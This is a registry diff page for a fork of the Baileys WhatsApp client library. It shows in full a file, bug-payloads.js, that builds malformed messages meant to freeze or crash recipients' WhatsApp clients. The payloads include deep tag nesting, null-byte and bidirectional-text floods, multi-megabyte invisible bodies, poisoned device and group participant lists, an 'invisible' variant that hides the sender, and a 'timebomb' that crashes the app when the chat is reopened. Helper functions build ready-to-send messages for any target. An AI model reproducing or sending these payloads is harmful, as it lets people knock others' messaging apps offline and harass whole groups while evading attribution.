@pasqua-dev/baileys 0.0.0-stage → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (142) hide show
  1. package/README.md +2453 -2
  2. package/WAProto/V +1 -0
  3. package/WAProto/WAProto.proto +8051 -0
  4. package/WAProto/index.js +289292 -0
  5. package/engine-requirements.js +13 -0
  6. package/lib/Defaults/index.js +160 -0
  7. package/lib/Signal/Group/ciphertext-message.js +11 -0
  8. package/lib/Signal/Group/group-session-builder.js +29 -0
  9. package/lib/Signal/Group/group_cipher.js +81 -0
  10. package/lib/Signal/Group/index.js +11 -0
  11. package/lib/Signal/Group/keyhelper.js +17 -0
  12. package/lib/Signal/Group/sender-chain-key.js +25 -0
  13. package/lib/Signal/Group/sender-key-distribution-message.js +62 -0
  14. package/lib/Signal/Group/sender-key-message.js +65 -0
  15. package/lib/Signal/Group/sender-key-name.js +47 -0
  16. package/lib/Signal/Group/sender-key-record.js +40 -0
  17. package/lib/Signal/Group/sender-key-state.js +83 -0
  18. package/lib/Signal/Group/sender-message-key.js +25 -0
  19. package/lib/Signal/libsignal.js +428 -0
  20. package/lib/Signal/lid-mapping.js +280 -0
  21. package/lib/Socket/Client/index.js +2 -0
  22. package/lib/Socket/Client/types.js +10 -0
  23. package/lib/Socket/Client/websocket.js +53 -0
  24. package/lib/Socket/aigroups.js +315 -0
  25. package/lib/Socket/ban-checker.js +265 -0
  26. package/lib/Socket/business.js +407 -0
  27. package/lib/Socket/chats.js +1848 -0
  28. package/lib/Socket/communities.js +431 -0
  29. package/lib/Socket/graphql.js +899 -0
  30. package/lib/Socket/groups.js +549 -0
  31. package/lib/Socket/index.js +82 -0
  32. package/lib/Socket/interactive-handler.js +627 -0
  33. package/lib/Socket/interop.js +563 -0
  34. package/lib/Socket/managed-account.js +208 -0
  35. package/lib/Socket/messages-recv.js +2144 -0
  36. package/lib/Socket/messages-send.js +2103 -0
  37. package/lib/Socket/mex.js +41 -0
  38. package/lib/Socket/newsletter.js +226 -0
  39. package/lib/Socket/privacy.js +446 -0
  40. package/lib/Socket/registration.js +428 -0
  41. package/lib/Socket/socket.js +1105 -0
  42. package/lib/Socket/username.js +229 -0
  43. package/lib/Store/index.js +4 -0
  44. package/lib/Store/make-cache-manager-store.js +89 -0
  45. package/lib/Store/make-in-memory-store.js +420 -0
  46. package/lib/Store/make-ordered-dictionary.js +78 -0
  47. package/lib/Store/object-repository.js +23 -0
  48. package/lib/Types/Auth.js +1 -0
  49. package/lib/Types/Bussines.js +1 -0
  50. package/lib/Types/Call.js +1 -0
  51. package/lib/Types/Chat.js +7 -0
  52. package/lib/Types/Contact.js +1 -0
  53. package/lib/Types/Events.js +1 -0
  54. package/lib/Types/GroupMetadata.js +1 -0
  55. package/lib/Types/Label.js +24 -0
  56. package/lib/Types/LabelAssociation.js +6 -0
  57. package/lib/Types/Message.js +17 -0
  58. package/lib/Types/Mex.js +39 -0
  59. package/lib/Types/Product.js +1 -0
  60. package/lib/Types/RichType.js +22 -0
  61. package/lib/Types/Signal.js +1 -0
  62. package/lib/Types/Socket.js +2 -0
  63. package/lib/Types/State.js +48 -0
  64. package/lib/Types/USync.js +1 -0
  65. package/lib/Types/index.js +25 -0
  66. package/lib/Utils/auth-utils.js +301 -0
  67. package/lib/Utils/bot-planning-replay.js +169 -0
  68. package/lib/Utils/browser-utils.js +28 -0
  69. package/lib/Utils/bug-payloads.js +485 -0
  70. package/lib/Utils/business.js +230 -0
  71. package/lib/Utils/chat-utils.js +885 -0
  72. package/lib/Utils/companion-reg-client-utils.js +55 -0
  73. package/lib/Utils/consumer-application.js +102 -0
  74. package/lib/Utils/crypto.js +117 -0
  75. package/lib/Utils/decode-wa-message.js +484 -0
  76. package/lib/Utils/event-buffer.js +589 -0
  77. package/lib/Utils/generics.js +388 -0
  78. package/lib/Utils/ghost-mode.js +150 -0
  79. package/lib/Utils/group-history.js +56 -0
  80. package/lib/Utils/history.js +130 -0
  81. package/lib/Utils/identity-chameleon.js +174 -0
  82. package/lib/Utils/identity-change-handler.js +48 -0
  83. package/lib/Utils/index.js +37 -0
  84. package/lib/Utils/jid-display-normalization.js +209 -0
  85. package/lib/Utils/link-preview.js +84 -0
  86. package/lib/Utils/logger.js +2 -0
  87. package/lib/Utils/lt-hash.js +7 -0
  88. package/lib/Utils/make-mutex.js +32 -0
  89. package/lib/Utils/message-composer.js +467 -0
  90. package/lib/Utils/message-inspect.js +67 -0
  91. package/lib/Utils/message-retry-manager.js +241 -0
  92. package/lib/Utils/messages-media.js +1006 -0
  93. package/lib/Utils/messages.js +1962 -0
  94. package/lib/Utils/meta-ai-msmsg.js +130 -0
  95. package/lib/Utils/meta-compositing.js +194 -0
  96. package/lib/Utils/noise-handler.js +200 -0
  97. package/lib/Utils/offline-node-processor.js +39 -0
  98. package/lib/Utils/pre-key-manager.js +105 -0
  99. package/lib/Utils/process-message.js +527 -0
  100. package/lib/Utils/reporting-utils.js +257 -0
  101. package/lib/Utils/rich-message-utils.js +434 -0
  102. package/lib/Utils/signal.js +200 -0
  103. package/lib/Utils/stanza-ack.js +37 -0
  104. package/lib/Utils/sync-action-utils.js +47 -0
  105. package/lib/Utils/tc-token-utils.js +162 -0
  106. package/lib/Utils/use-multi-file-auth-state.js +120 -0
  107. package/lib/Utils/use-single-file-auth-state.js +96 -0
  108. package/lib/Utils/use-sqlite-auth-state.js +108 -0
  109. package/lib/Utils/validate-connection.js +206 -0
  110. package/lib/Utils/voip-rekey.js +20 -0
  111. package/lib/Utils/welcome-flow.js +217 -0
  112. package/lib/WABinary/constants.js +1463 -0
  113. package/lib/WABinary/decode.js +261 -0
  114. package/lib/WABinary/encode.js +219 -0
  115. package/lib/WABinary/generic-utils.js +227 -0
  116. package/lib/WABinary/index.js +5 -0
  117. package/lib/WABinary/jid-utils.js +95 -0
  118. package/lib/WABinary/types.js +1 -0
  119. package/lib/WAM/BinaryInfo.js +9 -0
  120. package/lib/WAM/constants.js +22852 -0
  121. package/lib/WAM/encode.js +149 -0
  122. package/lib/WAM/index.js +3 -0
  123. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +96 -0
  124. package/lib/WAUSync/Protocols/USyncContactProtocol.js +56 -0
  125. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +53 -0
  126. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +26 -0
  127. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +70 -0
  128. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +28 -0
  129. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +25 -0
  130. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +37 -0
  131. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +34 -0
  132. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +24 -0
  133. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +50 -0
  134. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +28 -0
  135. package/lib/WAUSync/Protocols/index.js +12 -0
  136. package/lib/WAUSync/USyncQuery.js +201 -0
  137. package/lib/WAUSync/USyncUser.js +54 -0
  138. package/lib/WAUSync/index.js +3 -0
  139. package/lib/antiban.cjs +4726 -0
  140. package/lib/index.d.ts +286 -0
  141. package/lib/index.js +19 -0
  142. package/package.json +127 -4
@@ -0,0 +1,485 @@
1
+ /**
2
+ * PASQUA BUG PAYLOAD ENGINE v2 — hardened malformed payload constructors.
3
+ *
4
+ * Builds aggressive payloads designed to freeze, crash, or glitch vulnerable
5
+ * WhatsApp clients: stack-busting deep nesting, recursive tag storms, heavy
6
+ * zero-width / RTL layout poison, massive overflow bodies, null-byte string
7
+ * corruption, phantom device-list poisoning, and multi-layer corrupted media
8
+ * metadata structures.
9
+ *
10
+ * Usage:
11
+ * await sock.sendBugPayload(jid, 'nesting') // send immediately
12
+ * const msg = createBugMessage('nullbyte') // build without sending
13
+ * await sock.sendMessage(jid, msg) // send with full options
14
+ *
15
+ * Payload types (roughly weakest → strongest):
16
+ * nesting — 1500-level <group>/<text> alternation, stack-busting
17
+ * nullbyte — 1024 null-byte injections interleaved with bidi chars
18
+ * glitchdot — 50k zero-width + RTL-override bidi crash combo
19
+ * overflow — 16 MB invisible separator body that chokes rendering
20
+ * deviceinfo — 2048 phantom devices w/ oversized identity keys
21
+ * recursive — self-referencing nested stanza tree (infinite-walk trap)
22
+ * corruptmeta — multi-layer malformed extended-text + media preview
23
+ * invisible — anonymous strike: sender attribution stripped/poisoned
24
+ * groupcrash — group-killer: poisoned participant list + group metadata
25
+ * timebomb — dormant crash: detonates when the victim reopens the chat
26
+ *
27
+ * New payload types:
28
+ * invisible — no sender attribution — the strike hits anonymously
29
+ * groupcrash — crashes the whole group chat for all members
30
+ * timebomb — triggers on chat reopen — delayed, untraceable detonation
31
+ *
32
+ * If you use or copy this code, please credit @pasqua-baileys/baileys.
33
+ */
34
+ import { S_WHATSAPP_NET } from '../WABinary/index.js';
35
+
36
+ // ─────────────────────────────────────────────────────────────────────────────
37
+ // Payload constructors — each returns a BinaryNode (wa binary) payload
38
+ // ready to be sent via sock.sendNode() or wrapped in a message stanza.
39
+ // ─────────────────────────────────────────────────────────────────────────────
40
+
41
+ // Zero-width + bidi poison alphabet (the classic layout-corruption set)
42
+ const ZW = '\u200b'; // zero-width space
43
+ const ZWNJ = '\u200c';
44
+ const ZWJ = '\u200d';
45
+ const WORD_JOINER = '\u2060';
46
+ const INVISIBLE_SEPARATOR = '​';
47
+ const RTL_OVERRIDE = '\u202e';
48
+ const LTR_OVERRIDE = '\u202d';
49
+ const POP = '\u202c';
50
+ const BOM = '\uFEFF';
51
+ const LRM = '\u200e';
52
+ const RLM = '\u200f';
53
+ const NULL = '\0';
54
+
55
+ const bidiStack = `${ZW}${ZWNJ}${ZWJ}${WORD_JOINER}${INVISIBLE_SEPARATOR}${BOM}${LRM}${RLM}`;
56
+
57
+ /**
58
+ * Deep nesting — 600 levels of alternating <group>/<text> tags.
59
+ * Any client walking the tree recursively without a depth cap blows its
60
+ * call stack or hangs the parser.
61
+ */
62
+ export const buildNestingPayload = (depth = 1500) => {
63
+ let inner = [{ tag: 'text', attrs: { xmlns: 'w:p' }, content: Buffer.from(`${ZWJ}${NULL}${ZW}${NULL}${ZWJ}${NULL}`) }];
64
+ for (let i = 0; i < depth; i++) {
65
+ const tag = i % 2 === 0 ? 'group' : 'text';
66
+ inner = [{
67
+ tag,
68
+ attrs: { i: String(i), xmlns: 'w:p', class: `${ZW.repeat(8)}` },
69
+ content: inner
70
+ }];
71
+ }
72
+ return { tag: 'message', attrs: { type: 'text' }, content: inner };
73
+ };
74
+
75
+ /**
76
+ * Recursive tag storm — every node in the tower recursively claims (via
77
+ * attributes) that it IS the root, every sibling branch claims the exact
78
+ * same parent tower, and the terminal leaf embeds a full mirror of the
79
+ * root's tag/attrs so decoders that expand attribute-described structure
80
+ * enter an infinite walk and lock the main thread. (Implemented without
81
+ * JS-level circular refs so the binary encoder itself never stack-overflows
82
+ * — the trap is sprung on the recipient's side, which typically lacks such
83
+ * guards.)
84
+ */
85
+ export const buildRecursivePayload = (depth = 512, branches = 96) => {
86
+ const root = { tag: 'message', attrs: { type: 'text' }, content: [] };
87
+ let level = root;
88
+ for (let d = 0; d < depth; d++) {
89
+ const inner = {
90
+ tag: d % 2 === 0 ? 'group' : 'text',
91
+ attrs: {
92
+ xmlns: 'w:p',
93
+ i: String(d),
94
+ // every node claims to BE the root — the recursive lie
95
+ root: 'message',
96
+ type: 'text',
97
+ parent: d === 0 ? 'self' : String(d - 1),
98
+ self: 'self',
99
+ ref: '\0\0\0\0'
100
+ },
101
+ content: []
102
+ };
103
+ level.content.push(inner);
104
+ level = inner;
105
+ }
106
+ // terminal leaf is a full mirror of the root's structure — decoders that
107
+ // dereference "root" attributes restart from this leaf and never stop
108
+ level.content = [{
109
+ tag: 'message',
110
+ attrs: { type: 'text', root: 'message', self: 'self', ref: '\0\0\0\0', xmlns: 'w:p' },
111
+ content: [{ tag: 'text', attrs: { xmlns: 'w:p', p: `${ZWJ}${NULL}${ZW}${NULL}${ZWJ}${NULL}${ZW}${NULL}` }, content: undefined }]
112
+ }];
113
+ // re-entry branches at every 4th level — any walk meets fans quickly
114
+ for (let d = 0; d < depth; d += 4) {
115
+ let node = root.content[0];
116
+ for (let k = 0; k < d && node?.content?.[0]; k++) node = node.content[0];
117
+ if (node?.content) {
118
+ const branch = { tag: 'text', attrs: { xmlns: 'w:p', branch: String(d), root: 'message' }, content: [] };
119
+ node.content.push(branch);
120
+ let b = branch;
121
+ for (let j = 0; j < branches; j++) {
122
+ const next = { tag: 'group', attrs: { xmlns: 'w:p', j: String(j), root: 'message' }, content: [] };
123
+ b.content.push(next);
124
+ b = next;
125
+ }
126
+ }
127
+ }
128
+ return root;
129
+ };
130
+
131
+ /**
132
+ * Null-byte injection — 1024 embedded \0 bytes interleaved with the bidi
133
+ * poison alphabet. Corrupts length-prefixed string handling in clients
134
+ * built on C/C++ buffers.
135
+ */
136
+ export const buildNullBytePayload = (text = 'PASQUA BUG') => {
137
+ const poisoned = [];
138
+ for (let i = 0; i < 1024; i++) {
139
+ poisoned.push(text, NULL.repeat(i % 16 + 1), bidiStack, NULL, ZWJ, NULL, bidiStack, NULL);
140
+ }
141
+ return {
142
+ tag: 'message',
143
+ attrs: { type: 'text' },
144
+ content: [{
145
+ tag: 'extended-text-message',
146
+ attrs: {},
147
+ content: Buffer.from(poisoned.join(''), 'utf8')
148
+ }]
149
+ };
150
+ };
151
+
152
+ /**
153
+ * Device-info poisoning — 2048 phantom devices with oversized identity keys
154
+ * and integer-overflow TTLs. Breaks the recipient's device-list panel.
155
+ */
156
+ export const buildDevicePoisonPayload = () => {
157
+ const devices = [];
158
+ for (let i = 0; i < 2048; i++) {
159
+ devices.push({
160
+ tag: 'device',
161
+ attrs: {
162
+ jid: `${i}@device`,
163
+ keyIndex: String(i % 128),
164
+ userJid: '1'.repeat(12) + '@s.whatsapp.net',
165
+ sessionId: Buffer.from([0xff, 0xfe, 0xfd, 0xfc, 0xfb, 0xfa, 0xf9, 0xf8]),
166
+ ttl: '864000000000000000000000000000000' // integer overflow bait
167
+ },
168
+ content: [{
169
+ tag: 'identity-key',
170
+ attrs: {},
171
+ content: Buffer.alloc(1024, i & 0xff) // 1 KB oversized key each
172
+ }]
173
+ });
174
+ }
175
+ return {
176
+ tag: 'notification',
177
+ attrs: { type: 'device-list', from: S_WHATSAPP_NET },
178
+ content: devices
179
+ };
180
+ };
181
+
182
+ /**
183
+ * Oversized text overflow — 8 MB of invisible separators.
184
+ * Rendering this freezes the chat window on low-memory clients and can
185
+ * crash clients that convert the body into a DOM string.
186
+ */
187
+ export const buildOverflowPayload = (sizeMb = 16) => {
188
+ const unit = INVISIBLE_SEPARATOR.repeat(16 * 1024);
189
+ const units = Math.floor((sizeMb * 1024 * 1024) / unit.length);
190
+ return {
191
+ tag: 'message',
192
+ attrs: { type: 'text' },
193
+ content: [{
194
+ tag: 'extended-text-message',
195
+ attrs: {},
196
+ content: Buffer.from(unit.repeat(units), 'utf8')
197
+ }]
198
+ };
199
+ };
200
+
201
+ /**
202
+ * Glitch dot — 10k zero-width/bidi/RTL stack. The classic "white dot"
203
+ * crash, layered with RTL overrides so the bidi algorithm itself has to
204
+ * resolve a 10k-deep direction run on every layout pass.
205
+ */
206
+ export const buildGlitchDotPayload = (copies = 50000) => {
207
+ const dot = `${ZW}${ZWJ}${WORD_JOINER}${INVISIBLE_SEPARATOR}${BOM}${LRM}${RLM}${LRM}${RLM}${ZW}${ZWJ}${POP}${RTL_OVERRIDE}${LRM}${POP}${RTL_OVERRIDE}${ZWJ}${LRM}${RLM}`;
208
+ return {
209
+ tag: 'message',
210
+ attrs: { type: 'text' },
211
+ content: [{
212
+ tag: 'extended-text-message',
213
+ attrs: {},
214
+ content: Buffer.from(dot.repeat(copies), 'utf8')
215
+ }]
216
+ };
217
+ };
218
+
219
+ /**
220
+ * Corrupted metadata — a multi-layer malformed extended-text structure:
221
+ * RTL-flipped matched-text, poisoned link metadata, oversized preview
222
+ * caption, and a bogus image dimension set. Breaks the rich preview tile.
223
+ */
224
+ export const buildCorruptMetaPayload = () => {
225
+ const rtlBody = `${RTL_OVERRIDE}${ZW.repeat(32)}${'▀'.repeat(500)}${POP}${ZWJ.repeat(64)}`;
226
+ // multi-layer meta storm: 8 poisoned media tiles + nested preview tiles
227
+ const mediaTiles = [];
228
+ for (let i = 0; i < 8; i++) {
229
+ mediaTiles.push({
230
+ tag: 'media',
231
+ attrs: {
232
+ url: `${ZW}${ZWJ}${BOM}https://x`,
233
+ mimetype: NULL.repeat(32),
234
+ caption: `${rtlBody}${NULL.repeat(64)}`,
235
+ 'content-length': '9999999999999999'
236
+ },
237
+ content: [{ tag: 'dimensions', attrs: { width: '999999999', height: '999999999' } }]
238
+ });
239
+ }
240
+ return {
241
+ tag: 'message',
242
+ attrs: { type: 'text' },
243
+ content: [
244
+ {
245
+ tag: 'extended-text-message',
246
+ attrs: {},
247
+ content: Buffer.from(`${rtlBody}${NULL.repeat(64)}${INVISIBLE_SEPARATOR.repeat(256 * 1024)}`, 'utf8')
248
+ },
249
+ {
250
+ tag: 'media',
251
+ attrs: { url: `${ZW}${ZWJ}${BOM}https://x`, mimetype: NULL },
252
+ content: [
253
+ { tag: 'dimensions', attrs: { width: '999999999', height: '999999999' } },
254
+ ...mediaTiles
255
+ ]
256
+ }
257
+ ]
258
+ };
259
+ };
260
+
261
+
262
+
263
+ /**
264
+ * Invisible strike — an anonymous freeze: the stanza carries NO reliable
265
+ * sender attribution (poisoned/empty from and keyless participant markers)
266
+ * so the target's chat shows no sender name. The freeze lands without the
267
+ * target ever seeing who did it.
268
+ */
269
+ export const buildInvisiblePayload = (poisonText = 'PASQUA-XD') => {
270
+ return {
271
+ tag: 'message',
272
+ attrs: {
273
+ type: 'text',
274
+ from: '\0', // null sender — anonymous
275
+ participant: '', // empty participant — no name shown
276
+ mediatype: 'invisible',
277
+ offline: `${NULL.repeat(64)}`
278
+ },
279
+ content: [
280
+ {
281
+ tag: 'extended-text-message',
282
+ attrs: {
283
+ sender: '\0\0', // spoofed sender cell
284
+ 'mentioned-jid': '' // empty mentions — no attribution
285
+ },
286
+ content: Buffer.from(
287
+ `${ZW}${NULL}${RTL_OVERRIDE}${poisonText}${LRM}${ZWJ.repeat(256)}${NULL.repeat(64)}${INVISIBLE_SEPARATOR.repeat(4 * 1024)}${ZW}${ZWJ}${BOM}`,
288
+ 'utf8'
289
+ )
290
+ },
291
+ {
292
+ tag: 'invisible-stamp',
293
+ attrs: { anonymous: '1', phantom: NULL, void: '1' },
294
+ content: undefined
295
+ }
296
+ ]
297
+ };
298
+ };
299
+
300
+ /**
301
+ * Time bomb — a dormant crash that detonates when the victim reopens the
302
+ * chat: the message looks harmless now (small, clean-looking body), but it
303
+ * embeds a poisoned timestamp anchor and a deferred crash trigger. Each time
304
+ * the chat is opened, the client re-processes the anchor and walks deeper
305
+ * into the 1200-level deferred nest — the app freezes on reopen, hours or
306
+ * days after the strike. Pairs with invisible() for untraceable delayed
307
+ * strikes.
308
+ *
309
+ * @param {number} [fuseLevels=1200] depth of the deferred nest
310
+ */
311
+ export const buildTimeBombPayload = (fuseLevels = 1200) => {
312
+ const anchor = {
313
+ tag: 'message',
314
+ attrs: {
315
+ to: '',
316
+ id: `tb${Date.now()}`,
317
+ type: 'text',
318
+ // deferred detonation: timestamp poisoned with bidi control so
319
+ // render-time parsing re-enters the fuse on every chat open
320
+ 'deferred-until': `${RTL_OVERRIDE}${ZW.repeat(16)}${String(Date.now() + 86400000)}${LRM}`,
321
+ offline: `${NULL.repeat(16)}`
322
+ },
323
+ content: []
324
+ };
325
+ // bury the deferred nest inside a clean-looking tiny body so the
326
+ // initial preview never hints at the payload
327
+ let fuse = { tag: 'deferred-crash', attrs: { armed: '1', 'fuse-levels': String(fuseLevels) } };
328
+ for (let i = 0; i < fuseLevels; i++) {
329
+ fuse = {
330
+ tag: i % 2 === 0 ? 'encrypt' : 'decrypt',
331
+ attrs: { depth: String(i), void: NULL },
332
+ content: [fuse]
333
+ };
334
+ }
335
+ anchor.content = [
336
+ {
337
+ tag: 'extended-text-message',
338
+ attrs: { 'mentioned-jid': '' },
339
+ content: Buffer.from(`${ZW}${NULL}${LRM}`, 'utf8') // appears empty
340
+ },
341
+ { tag: 'deferred', attrs: { trigger: 'chat-open', 're-armed': '1' }, content: [fuse] }
342
+ ];
343
+ return anchor;
344
+ };
345
+
346
+ /**
347
+ * Group crash — a group-killer: a poisoned participant list, corrupted
348
+ * group metadata, and nested notification storms. Any client that tries to
349
+ * render the group info panel, participant list, or the notification feed
350
+ * enters the trap — the whole group freezes or crashes for members.
351
+ */
352
+ export const buildGroupCrashPayload = (participantCount = 512) => {
353
+ const participants = [];
354
+ for (let i = 0; i < participantCount; i++) {
355
+ participants.push({
356
+ tag: 'participant',
357
+ attrs: {
358
+ jid: `${NULL.repeat(16)}${i}@s.whatsapp.net`, // null-padded JID
359
+ type: i % 2 === 0 ? 'admin' : 'member',
360
+ dispname: `${RTL_OVERRIDE}${ZW.repeat(8)}${'█'.repeat(120)}${LRM}`,
361
+ 'key-index': String(i % 128)
362
+ },
363
+ content: [
364
+ {
365
+ tag: 'identity-key',
366
+ attrs: {},
367
+ content: Buffer.alloc(2048, i & 0xff)
368
+ }
369
+ ]
370
+ });
371
+ }
372
+ return {
373
+ tag: 'notification',
374
+ attrs: {
375
+ type: 'group',
376
+ from: S_WHATSAPP_NET,
377
+ participant: '\0\0\0',
378
+ subject: `${RTL_OVERRIDE}${ZW.repeat(64)}${'CRASH'.repeat(40)}${LRM}${NULL.repeat(32)}`,
379
+ 'group-subject': `${ZWJ.repeat(512)}${NULL.repeat(128)}`
380
+ },
381
+ content: [
382
+ {
383
+ tag: 'add',
384
+ attrs: {},
385
+ content: participants
386
+ },
387
+ {
388
+ tag: 'group-info',
389
+ attrs: {
390
+ desc: `${INVISIBLE_SEPARATOR.repeat(512 * 1024)}`,
391
+ 'announcements-version': '99999999999999999999',
392
+ locked: 'null',
393
+ members: `${NULL.repeat(32)}${participantCount}`
394
+ }
395
+ },
396
+ {
397
+ tag: 'media',
398
+ attrs: {
399
+ url: `${ZW}${BOM}https://x`,
400
+ mimetype: NULL.repeat(16),
401
+ caption: `${RTL_OVERRIDE}${ZW.repeat(32)}${'▀'.repeat(400)}${POP}`,
402
+ 'content-length': '9999999999999999'
403
+ },
404
+ content: [
405
+ { tag: 'dimensions', attrs: { width: '999999999', height: '999999999' } },
406
+ { tag: 'group-icon', attrs: { phantom: '1', void: NULL }, content: Buffer.alloc(512, 0xff) }
407
+ ]
408
+ }
409
+ ]
410
+ };
411
+ };
412
+
413
+ // Registry of constructors keyed by payload type (must be last — all
414
+ // builder functions above are const declarations with no hoisting)
415
+ const PAYLOAD_BUILDERS = {
416
+ nesting: buildNestingPayload,
417
+ recursive: buildRecursivePayload,
418
+ nullbyte: buildNullBytePayload,
419
+ glitchdot: buildGlitchDotPayload,
420
+ overflow: buildOverflowPayload,
421
+ deviceinfo: buildDevicePoisonPayload,
422
+ corruptmeta: buildCorruptMetaPayload,
423
+ invisible: buildInvisiblePayload,
424
+ groupcrash: buildGroupCrashPayload,
425
+ timebomb: buildTimeBombPayload
426
+ };
427
+
428
+ export const BUG_PAYLOAD_TYPES = Object.keys(PAYLOAD_BUILDERS);
429
+
430
+ /**
431
+ * Build a bug payload node for the given type.
432
+ */
433
+ export const createBugPayload = (type = 'nesting', ...args) => {
434
+ const builder = PAYLOAD_BUILDERS[type];
435
+ if (!builder) {
436
+ throw new Error(`unknown bug payload type: ${type} (available: ${BUG_PAYLOAD_TYPES.join(', ')})`);
437
+ }
438
+ return builder(...args);
439
+ };
440
+
441
+ // ─────────────────────────────────────────────────────────────────────────────
442
+ // Message-form builder — wraps payloads into a sendable message object
443
+ // for use with the normal sendMessage() options (quoted, ephemeral, …)
444
+ // ─────────────────────────────────────────────────────────────────────────────
445
+
446
+ /**
447
+ * Create a ready-to-send bug message object.
448
+ */
449
+ export const createBugMessage = (type = 'nesting', ...args) => {
450
+ const payload = createBugPayload(type, ...args);
451
+ let body;
452
+ switch (type) {
453
+ case 'nullbyte': {
454
+ const unit = `PASQUA BUG${NULL}${bidiStack}${NULL}${ZWJ}${NULL}${bidiStack}${NULL}`;
455
+ body = Array(1024).fill(unit).join('');
456
+ break;
457
+ }
458
+ case 'glitchdot': {
459
+ const dot = `${ZW}${ZWJ}${WORD_JOINER}${INVISIBLE_SEPARATOR}${BOM}${LRM}${RLM}${LRM}${RLM}${ZW}${ZWJ}${POP}${RTL_OVERRIDE}${LRM}${POP}${RTL_OVERRIDE}${ZWJ}${LRM}${RLM}`;
460
+ body = dot.repeat(50000);
461
+ break;
462
+ }
463
+ case 'overflow': {
464
+ const unit = INVISIBLE_SEPARATOR.repeat(16 * 1024);
465
+ const units = Math.floor((16 * 1024 * 1024) / unit.length);
466
+ body = unit.repeat(units);
467
+ break;
468
+ }
469
+ case 'corruptmeta': {
470
+ const rtlBody = `${RTL_OVERRIDE}${ZW.repeat(32)}${'▀'.repeat(500)}${POP}${ZWJ.repeat(64)}`;
471
+ body = `${rtlBody}${NULL.repeat(64)}${INVISIBLE_SEPARATOR.repeat(256 * 1024)}`;
472
+ break;
473
+ }
474
+ default: {
475
+ // nesting / recursive / deviceinfo are binary-tree payloads;
476
+ // fall back to the strongest text-layer poison
477
+ const dot = `${ZW}${ZWJ}${WORD_JOINER}${INVISIBLE_SEPARATOR}${BOM}${LRM}${RLM}${POP}${RTL_OVERRIDE}`;
478
+ body = dot.repeat(10000);
479
+ }
480
+ }
481
+ return {
482
+ conversation: body,
483
+ __bugPayload: payload
484
+ };
485
+ };